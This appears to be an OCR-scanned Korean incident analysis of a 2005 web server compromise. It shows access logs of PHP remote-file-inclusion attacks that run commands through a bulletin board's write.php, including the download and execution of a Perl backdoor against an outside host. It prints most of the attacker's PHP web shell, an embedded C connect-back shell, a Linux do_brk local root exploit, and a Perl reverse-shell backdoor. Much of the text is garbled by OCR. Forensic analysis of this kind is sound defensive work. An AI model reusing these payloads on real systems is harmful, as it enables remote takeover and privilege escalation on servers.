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[04/Jan/2005:22:36:30 + 0900] "GET http://xxxxxx.xxx.xx/bbs//include/write.php?dir=http://xxx.xXxxxxX.Xxx.br/xxx.gif?&cmd=id HTTP/1.0" 200 171
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[04/Jan/2005:22:39:49 +0900] "GET http://xxxxxx.xxx.xx/zb41//include/write.php?dir=http://xxx.xxxxXxX.xxx.br/xxx.gif?&cmd=id HTTP/1.0" 200
169 "-" "~

[05/Jan/2005:03:31:00 +0900] "GET http://xxxxxx.xxx.xx/zb41//include/write.php?dir=http://xxxx.xxxxxxxx.xxx/xxxx0.dat?&cmd=id HTTP/1.0" 200
169 "-""-"
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[05/Jan/2005:03:34:25 +0900] "GET http://xxxxxx.xxx.xx/zb41//include/write.php?dir=http://xxxx.xxxxxxxx.xxx/xxxx0.dat?&cmd=id HTTP/1.0" 200
169 "-""-"

[05/Jan/2005:03:34:52 +0900] "GET http://xxxxxx.xxx.xx/zb41//include/write.php?dir=http://xxxx.xxxxxxxx.xxx/xxxx0.dat?&cmd=id HTTP/1.0" 200
171 "="r=m

[05/Jan/2005:23:28:14 +0900] "GET http://xxxxxx.xxx.xx/bbs//include/write.php?dir=http://xxx.Xxxxxxxx.Xxx.br/xxx.gif?&cmd=id HTTP/1.0" 200 171

n_mon_n

[05/Jan/2005:23:28:23 +0900] "GET http://xxxxxx.xxx.xx/bbs//include/write.php?dir=http://xxx.XXxxxxx.Xxx.br/xxx.gif?&cmd=id HTTP/1.0" 200 171
[06/Jan/2005:00:17:46 +0900] "GET http://xxxxxx.xxx.xx/newzero//include/write.php?dir=http://xxx.Xxxxxxxx.Xxx.br/xxx.gif?&cmd=id HTTP/1.0"
200 183 "-""-"

[06/]Jan/2005:07:01:26  +0900] "GET  http://xxxxxx.Xxx.Xxx.xxx/bbs//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id
HTTP/1.0" 200 167 "-" "="

[06/Jan/2005:07:22:20 +0900] "GET http://xxxxxx.xxx.xx/newzero/include/write.php?dir=http://xxxx.XXXXXX.XXX/yc/xxxxx.txt?&cmd=id HTTP/1.0"
200 183 "-""-"
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[06/Jan/2005:07:32:16 +0900] "GET
http://xxxxxx.xXX.XxX.xxX/2004_new//include/write.php?dir=http://X.XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id HTTP/1.0" 200 8862 "-" "-"
[06/Jan/2005:07:47:29 +0900] "GET http://XXXXXX.XXX.XXX.XXX/cgi~
bin/bbs//include/write.php?dir=http://X.XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id HTTP/1.0" 200 8862 "-" "-"

[06/Jan/2005:08:13:03  +0900] "GET  http://xxxxxx.Xxx.Xxx.xxx/bbs//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id
HTTP/1.0" 200 170 "-" "="

[06/]Jan/2005:08:41:34  +0900] "GET  http://xxxxxx.Xxx.Xxx.xxx/bbs//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id
HTTP/1.0" 200 169 "-" "-"

[06/Jan/2005:08:52:42 +0900] "GET http://xxxxxx.xxx.xx/zb4 1//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id
HTTP/1.0" 200 169 "-" "-"

[06/Jan/2005:08:56:57 +0900] "GET http://xxxxxx.xxx.xxx.xxx/include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=id HTTP/1.0"
404 281 "-""-"

[06/Jan/2005:08:59:30 +0900] "GET http://xxxxxx.xxx.xx/zb41//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id
HTTP/1.0" 200 171 "-" "-"

[06/Jan/2005:09:04:39 +0900] "GET http://xxxxxx.xXX.xXX.xxx/bbs//include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.datid HTTP/1.0"
200 150 "-""-"

[06/Jan/2005:09:51:46 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X.XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=id HTTP/1.1" 200 8916 "-"

"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
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[06/Jan/2005:09:52:37 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=w HTTP/1.1" 200 9002 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

xxxxx.dat el Al dlF Al2=®le] AL-g2F A& dsEs &2 4 9l

iy

w HH

tlo

a8 A

[06/Jan/2005:09:53:42 + 0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=wget HTTP/1.1" 200 8894
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

xxxxx.dat W] BYH wget FFE A3 A 7)== 22 Ho] 9gom I xxxxx.dat W wget 7|5& E
4 Aule] H&ste] ofdIEE drE e FRo| A9 Hrh

[06/Jan/2005:09:53:52 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=curl HTTP/1.1" 200 8894
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

[06/Jan/2005:09:54:01 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=GET HTTP/1.1" 200 8891
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

[06/Jan/2005:09:56:10 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X.XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=lynx HTTP/1.1" 200 9158
"-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

[06/Jan/2005:09:56:32  +0900]  "GET  /cgi-bin/bbs//include/write.php?dir=http://X.XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=cd%20/var/tmp;ls
HTTP/1.1" 200 8898 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

xxxxx.dat FLL& A|2=q) WHE AP A7l FS 7P A3 A7]A fvar/tmpE o]Ed F 1s WH
A A

[06/]Jan/2005:09:57:13  +0900] "GET  http://xxxxxx.Xxx.Xxx.xxx/bbs//include/write.php?dir=http://X. XXXXXXX. XXX/XXXXX/XXXXX.dat?&cmd=id

tio

HTTP/1.0" 200 126 "-" "-"

[06/Jan/2005:09:57:46 +0900] "GET /cgi-
bin/bbs//include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=cd%20/var/tmp:lynx%20%20~
source%20xxxXxXxX.xxX.Xxx/xxx.pl.htm%20>%20xxx.pl.htm;perl%20xxx.pl.htm%20xxx.XxxX.xxx.xxx%2015 HTTP/1.1" 200 853 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"

xxxxx.dat 42 AAT WH@E AP A7l= FE 7HHa 3o o 7)ol A fvar/tmpE o]E 3’ F lynx Bk
AE o] &3le] 944 Muo AAHE xxx.pl.htmS 23 A7t} Xxx.pl.htm 3242 Reverse telnetS Al =3}
&4 Gd2A Hz2 o] Hol AL AR Folxl ghe Reverse® JE5E [P Fao|th

[06/Jan/2005:09:58:22 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X. XXXXXXX . XXX/XXXXX/XXXXX.dat?&cmd=cd%20/var/tmp;ls
HTTP/1.1" 200 853 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

[06/]Jan/2005:10:01:31  +0900] "GET  /bbs/include/write.php?dir=http://XxXx.XXXXXXX.XXXXXX.XX.XXX.br/~xxxxxx/xxx.gif?&cmd=id;uname%20-a
HTTP/1.0" 200 171 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)"

xxx.gif oA vebvbE He A3 FHolA uname —a & A3 A|ZiTh

[06/Jan/2005:10:01:47 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://X. XXXXXXX . XXX/XXXXX/XXXXX.dat?&cmd=cd%20/var/tmp;ls
HTTP/1.1" 200 853 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

[06/Jan/2005:10:01:53 +0900] "GET [cgi-
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bin/bbs//include/write.php?dir=http://X. XXXXXXX.XXX/XXXXX/XXXXX.dat?&cmd=cd%20/var/tmp:lynx%20%20~
source%20xxxXxx.xxX.Xxx/xxx.pl.htm%20>%20xxx.pl.htm;perl%20xxx.pl.htm%20xxx.XxXxX.xxx.xxx%2015 HTTP/1.1" 200 853 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"

[06/Jan/2005:10:03:49 +0900] "GET /cgi-bin/bbs//include/write.php?dir=http://xxx.xxXxXxxX.xXX.br/xxx.gif?&cmd=cd%20/var/tmp;lynx%20%20-
source%20xxxXxx.xxX.Xxx/xxx.pl.htm%20>%20xxx.pl.htm;perl%20xxx.pl.htm%20xxx.xxxX.xxx.xxx%2015 HTTP/1.1" 200 2143 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1)"

2u 2y A

[06/Jan/2005:10:07:16 +0900] "GET [cgi-
bin/bbs//include/write.php?dir=http://Xxxx.XXXXXxX.XXX.br/xxx.gif?&cmd=cd%20/var/tmp;perl%20xxx.pl.htm%20xxx.XXxX.XXxX.Xxx% 2015 HTTP/1.1" 200

2143 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

NP R PR

[06/Jan/2005:10:10:33 +0900] "GET [cgi-
bin/bbs//include/write.php?dir=http://Xxxx.XXXXXxX.XxX.br/xxx.gif?&cmd=cat%20/etc/httpd/conf/httpd.conf| grep%20ServerName HTTP/1.1" 200 2036
"=" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
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Current working directory: Root/

Choose new working directory: [ =]

Cormmand: [cat /etc/passwd Execute Command I
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/include/write.php?dir=http://www.xxxxxx.xxx.br/xxx.gif?&cmd=id

J ordf)  HEEE) E2IM) SHFIA) I =S=H) |—
EEHE - = - @ [F 4| Qay GEsHa Fooo BB S o - B &
| #4405 |4 H eos= [|==~
=l
sysname: Sunlds
nodename: www
release: 5.7
version: |
machine |
Script Cu |
PHP “ersion: 4.2.3
User Info: uid{&0001) enid{&0001 % gid(60001)
Current Path: [
Server IP:
Web Server: DNpache/ 1.3, (Uni ) FHEST.
[*] Command Mode Run
uid=60001(nohody) gid=60001(naobody) =l
=
&) 2= N EEE v

/include/write.php?dir=http://x.xxxxxxx.xxx/xxxx6/toolxx.dat?&cmd=id

| mHF BIE) 2 SAPNL =D ESTH) E3
| «52 -5 - Q@A 4| Qaw @eExzxy Foos BB Do - FH 5
| Z2(0] pos ||o=z >
[ Defacing Tool Pro v 1 ? =
by r3v3ng4ns - revengans@gmail.com
sysname: SunQS
nodename: www
release: 5.7
version:
machin oY
user: uid{60001) euid(B0001) gid(60001)
write permission: no
server info: Apache/1.3.23 (Unix) PHP/4.2.3
pro info] |
original
path:|
current path:
cmd @
send cmd Jusing shell_exec() ;l PHF‘QQII PHPwriter I
fileditor list files on ] eval php | db explorer ] upload file |
stdOut from "id", using shell_exec(]
=
=
&) 22 [ [ [ [@oER 4
Gif ¢ txt , dat ¢ 2 AR A7 248 dojA IDSAAE HdF=e] Ags &
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$dono = get_current_user( );
$ver = phpversion( );
)

$login = posix_getuid(
$euid = posix_geteuid( )
)s

$gid = posix_getgid(
if ($chdir == "") $chdir = getcwd( );

>

<?php
Cmd 1At gtS MAIGHH WSl 24
if ($omd 1= "") {
echo "<DIV STYLE=W"font-family: verdana; font-size: 15px;W">[*] Command Mode
Run</DIV>";

1o
>
0

Q'J

rr

SEHZ A2

>
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<?php

A S, AIAE FHO
if ($fe == 1){

$fe = "exec";

}

if ($fe == ""){

$fe = "passthru";

}

if ($fe == "2"){

$fe = "system";

=]

i

-

HI

>
<TEXTAREA COLS="75" ROWS="8" STYLE="font—family: verdana; font-size: 12px;">
<?php

of 24
o O

Nz
ol

Ho| ZE display 8tCH
if (!

$output));

>

</TEXTAREA>

<BR>

<?php

lempty($output)) echo str_replace(">", "&gt;", str_replace("<", "&It;",

}
Safemode CIAl ##2& ot CIEC|0 et elAE S =
if ($safemode != "") {
echo "<DIV STYLE=W'font-family: verdana; font-size: 15px;W">[*] Safemode Mode
Run</DIV>";

0

>

<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color:
#F3A700; ">Safe Mode Directory Listing</DIV>

<?php

if ($dir = @opendir($chdir)) {
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echo "<TABLE border=1 cellspacing=1 celIpadding=0>";
echo "<TR>";
echo "<TD valign=top>";
echo "<b><font size=2 face=arial>List All Files</b> <br><br>";
while (($file = readdir($dir)) !== false) {
if (@is_file($file)) {

$filet = fileowner($file);

$file2 = fileperms($file);

echo "<font color=green>$filet - $file2

href=$SCRIPT_NAME?$QUERY_STRING&see=$f i |e>$f i le</a><br>";
// echo "<font color=green>$filel — $file2 - $file </font><br>";

flush( );

}
Safemode Al2l Clal&Ee| clAEH &2
echo "</TD>";
echo"<TD valign=top>";
echo "<b><font size=2 face=arial>List Only Folders</b> <br><br>";
if ($dir = @opendir ($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_dir($file)) {
$filet = fileowner($file);
$file2 = fileperms($file);
echo "<font color=blue>$filel - $file2
href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir /$file>$file</a><br>";

// echo "<font color=blue>$filel — $file2 — $file </font><br>";

}
echo "</TD>";
echo"<TD val ign=top>";
echo "<b><font size=2 face=arial>List Writable Folders</b><br><br>";
if ($dir = @opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) 8& @is_dir($file)) {

$filet = fileowner ($file);
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<?php
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$file2 = fileperms($file);

echo "<font color=red>$filel — $file2 — $file </font><br>";

}

echo "</TD>";

echo "</TD>";

echo "<TD valign=top>";

echo "<b><font size=2 face=arial>List Writable Files</b> <br><br>";

if ($dir = opendir($chdir)) {
while (($file = readdir($dir)) !== false) {
if (@is_writable($file) && @is_file($file)) {
$filel = fileowner($file);
$file2 = fileperms($file);

echo "<font color=red>$filel — $file2 — $file </font><br>";

}

echo "</TD>";
echo "</TR>";
echo "</TABLE>";

B0 Write @ AF g0l & A2 B File system®l Connect Back Shell= A
=] (@]

otod ZI WOl &EH0 =S2L2M FIOtA

I 2

22 2Ho 2 80| oL dHdIEHUHA BE 2 XMl & &= AEF T UL,
if ($shell == "write") {
$shel | = "#include <stdio.h>#n" .

"#include <sys/socket.h>Wn" .
"#include <netinet/in.h>#n" .
"#include <arpa/inet.h>Wn" .

"#include <netdb.h>Wn" .
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"int main(int argc, char **argv) {#n" .
" char *host;Wn"
Outbound &= 1t fIoll Connect backl ZH2 80 EEZE 0|=¢etCh.

Lot EH2ZA 2AFZ Reverse telnetez A& U2 EXR
;

A2l BL0lE 80EEI LELN Us A= = = UCH. 0 A2 ANA A
otl) G0 850l 0I=F0 X2 ULk 0I0FI I+ =ICh.

" int port = 80;#n" .
s M=t
" char msg[ | = W'Welcome to Sidewinder Connect Back Shel I'WHniWnit"Wn" .
! #" Issue W' export TERM=xterm;
WA WWNW W
! W'For More Reliable Shell . #n" .

GXOF HTTP O=2E SAK

o4
=

exec bash -

" W" Issue Wt"unset HISTFILE; unset SAVEHI|STHWW"WHniW"Wn" .

" W'For Not Getting Logged. Wiin(:WhniHni" :Win" .

" printf(W'Data ChaOs Connect Back BackdoorWhnini" ) Wn" .
if (argc <2 || argc > 3) {#Wn" .
printf(W'Usage: %s [Host] <port>Wn#", argv[0]);#n
return 1;#n"
" Jn"
printf(W'[+] Dumping ArgumentsWini");Wn"
| = strlen(argv[1]);Wn" .
"0t (1 <=0) {#n" .
printf(W'[-] Invalid Host NameW#ni"):Wn" .
return 1;#n"
" Jn"
" if (!(host = (char *) malloc(1))) {Wn" .
" printf(W'[-] Unable to Allocate MemoryW#ni") Wn"
return 1;#n"
" Jn" .
strncpy(host, argv[1], 1):#n" .
if (argc == 3) {Wn" .
port = atoi(argv[2]):Hn
! if (port <=0 || port > 65535) {#n" .
! printf(W'[-] Invalid Port Number#ni");#n" .
return 1;n"
" Mt
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Hin" .

printf(W'[*] Resolving Host NameWwnw");wn" .
he = gethostbyname(host);#n" .

if (he) {Wn" .

memcpy(&ia.s_addr, he—>h_addr, 4):#n" .

}else if ((ia.s_addr
printf(W'[-] Unable
return 1;#n" .

Hin"

= jnet_addr(host)) == INADDR_ANY)
to Resolve: %sHini", host);#n" .

sin.sin_family = PF_INET:#¥n" .

sin.sin_addr.s_addr =

ia.s_addr:#n" .

sin.sin_port = htons(port);tn" .
printf(W'[*] Connecting...Wtni");Wn" .
INET, SOCK_STREAM, 0)) == —-1) {#n" .

if ((sock = socket (AF_

printf(W'[-] Socket
return 1;#n" .
Hin" .

Erroritnt" ) ;#n" .

{#n" .

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) !=

printf(W'[-] Unable
return 1;#n" .

Hin"

printf(#"[+] Spawning

f = fork( );Wn" .

if (f<0) {Wn" .
printf(W'[-] Unable
return 1;#n" .

Felse if (1) {#Wn" .

write(sock, msg, sizeof(msg));#n

dup2(sock, 0);#n" .
dup2(sock, 1);#n" .
dup2(sock, 2):#n" .

to Connectifintt" ) ;n" .

Shel | #in#" ) ;#n" .

to Forkini") ;#n" .

execl (W"/bin/shi", #"shel IW", NULL);#n" .

close(sock);#n" .
return O;#n" .
Hin" .

printf(W'[x] DetachedWnini") wn" .
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return O;#n" .

"Min";
JlEdel Ad e 0|22 EUE JIs2l MEtelol A2 SALH. De-connectback.c It
AdS /tmpOll MAHSH AEHOI2Z HIS 2= & 2N &8 AIZ = QUCH.
fopen("/tmp/dc-connectback.c",
fwrite($fp, $shell);

©“© &
(@) —
x 0T
1l 1l

if (lempty($ok)) {
echo "<DIV STYLE=W"font-family: verdana; font-size: 15px;#">[*] Connect Back
Shell Was Successfuly Copied</DIV>";
}else {
echo "<DIV STYLE=W"font-family: verdana; font-size: 15px;W'>[-] An Error Has
Ocurred While Copying ShelI</DIV>";
}
}
Shelle] tHal write QAE WS A5 WS dYl =5 94¥ Ao Kernel Q1A
write S ¥& A%+ Local root exploitS W Y A|xH] AAHFIEE o)
o] 7)ol A A&} exploit= Linux kernel do_brk vma overflow local root exploit ©]™
20033 5¥874°l TEH root B3 5 exploito] o] €H L YA Tt HZo LA
g%& root A3 59 exploito] AHEE 7heAE wf o & 5 U3 wg &%

WHo s AMSHER o489 X7} v wra ddd

if ($kernel == "write") {
$kernel = "/+#n" .

* hator ihanzo.cWn" .

* Linux kernel do_brk vma overflow exploit.fWn" .

1" *Wn 1" .
" x The bug was found by Paul (lhaQueR) Starzetz <paul@isec.p|>#n" .
1" *Wn " .
et
"#define MAGIC Oxdefaced /* | should've patented this

number —cliph */#n" .

"/* configuration */#n" .
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"unsigned task_size:#n" .

"unsigned page;fn" .
"uid_t uid;Wn" .
"unsigned address;#n" .

"int dontexit = O;#n" .

"void fatal(char * msg)Wn" .

struct sigaction sa;tn" .

sa.sa_sigaction = sigsegv;in" .

! sa.sa_flags = SA_SIGINFO | SA_NOMASK;#n" .
sigemptyset (&sa.sa_mask);#n" .

! sigaction(SIGSEGV, &sa, NULL);Wn" .

"Hn" .

"int testaddr(unsigned addr)#n" .
"{Wn" .

! int val:in" .

! val = setjmp(jmp);#n" .

! return val;tn" .

"Hn" .

"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) /

PAGE_SIZE)Wn" .

"#define map_size (map_pages + 8xsizeof(unsigned)
(8+sizeof (unsigned))Wn" .

"#define next(u, b) do { if ((b = 2*b) == 0) { b =
while(0)#n" .

224 DEo HREEZE AUA HSE exploits #H &EH =206 LUe &
£ otJ| dtetCh. http://www.k-otik.com/exploits/12.05.hator ihanzo.c.php
/tmp/xpl_brk.c 2 MI|S SESHC,

$fp = fopen("/tmp/xpl_brk.c", "w");

$ok = fwrite($fp, $kernel);

if (lempty($ok)) {
echo "<DIV STYLE=W"font-family: verdana: font-size: 15px;#">[*]
Kernel Exploit Was Successfuly Copied</DIV>";
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}else {
echo "<DIV STYLE=W"font-family: verdana; font-size: 15px;#">[-] An Error Has
Ocurred While Copying Kernel Exploit</DIV>";
}

o

</CENTER>

<pre><font face="Tahoma" size="2">
<?php

// Function to Visualize Source Code files
if ($see 1= "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "s============= $gee <br>";

echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";

Echo "</textarea>";

// Function to Dowload Local Xploite Binary COde or Source Code

if ($dx 1="") {

$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage”,"w");
fwrite($fp2, ""):
$fp1 = @fopen("$storage”,"at");
for (:3) {

$read = @fread($fp, 4096);

if (empty($read)) break;

$ok = furite($fpl, $read);

if (empty($ok)) {
echo "<DIV STYLE=W"font-family: verdana; font-size: 15px;#">[-] An Error Has
Ocurred While Uploading File</DIV>";
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break;

if (lempty($ok)) {
echo "<DIV STYLE=#"font-family: wverdana; font-size: 15px;#">[*] File Was
Successfuly Uploaded</DIV>";
}

flush( );

// Function to visulize Format Color Source Code PHP

if ($sfc 1="") {
$showcode = show_source("$sfc");
echo "<font size=4> $showcode </font>";

// Function to Visualize all infomation files
if ($fileinfo I="") {
$infofile = stat("$fileanalize");
while (list($info, $value) = each ($infofile)) {
echo" Info: $info Value: $value <br>";

// Function to send fake mail
if ($fake == 1) {

if($send == 1) {
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Hl

Banner grabbing 2 E&st Il ZE A | MWESAS
if ($oortscan !="") {
$port = array ("21","22","23","25","110",);
$values = count($port);
for ($cont=0; $cont < $values; $cont++) {
@psock[$cont] = Fsockopen($SERVER_NAME, $port([$cont], $oi, $o0i2, 1);
$service = Getservbyport($port[$cont],"tcp");
@get = fgets($sock[$cont]):
echo "<br>Port: $port[$cont] — Service: $service<br><br>";
echo "<br>Banner: $get <br><br>";

flush();

>

</font></pre>

Reverse Backdoor

XX.pl.htm ¢ W&

ARHH Rl Perlo Al 4 AAolm=z HYE T4 glo] &7,
gy 2 9o FdEe s ol
#!/usr/bin/perl
use Socket;
print "Data ChaOs Connect Back BackdoorWnWn";
if (ISARGVI[O]) {
printf "Usage: $0 [Host] <port>Wn";
exit(1);
}
print "[*] Dumping ArgumentsWn'";
$host = $ARGV[0];
$port = 80;
if (FARGVI[1]) {
$port = SARGV[11];
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}
print "[*] Connecting...Wn";
$proto = getprotobyname('tcp') | | die("Unknown ProtocolWn");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorwn");
my $target = inet_aton($host);
if ('connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to ConnectWn");
}
print "[*] Spawning ShellWn";
if (ffork()) {
open(STDIN,"&gt; &amp;SERVER");
open(STDOUT,"&gt; &amp;SERVER");
open(STDERR,"&gt; &amp;SERVER");
exec {'/bin/sh'} '-bash' . "WQ" x 4;
exit(0);
}
print "[*] DatachedWnWn";
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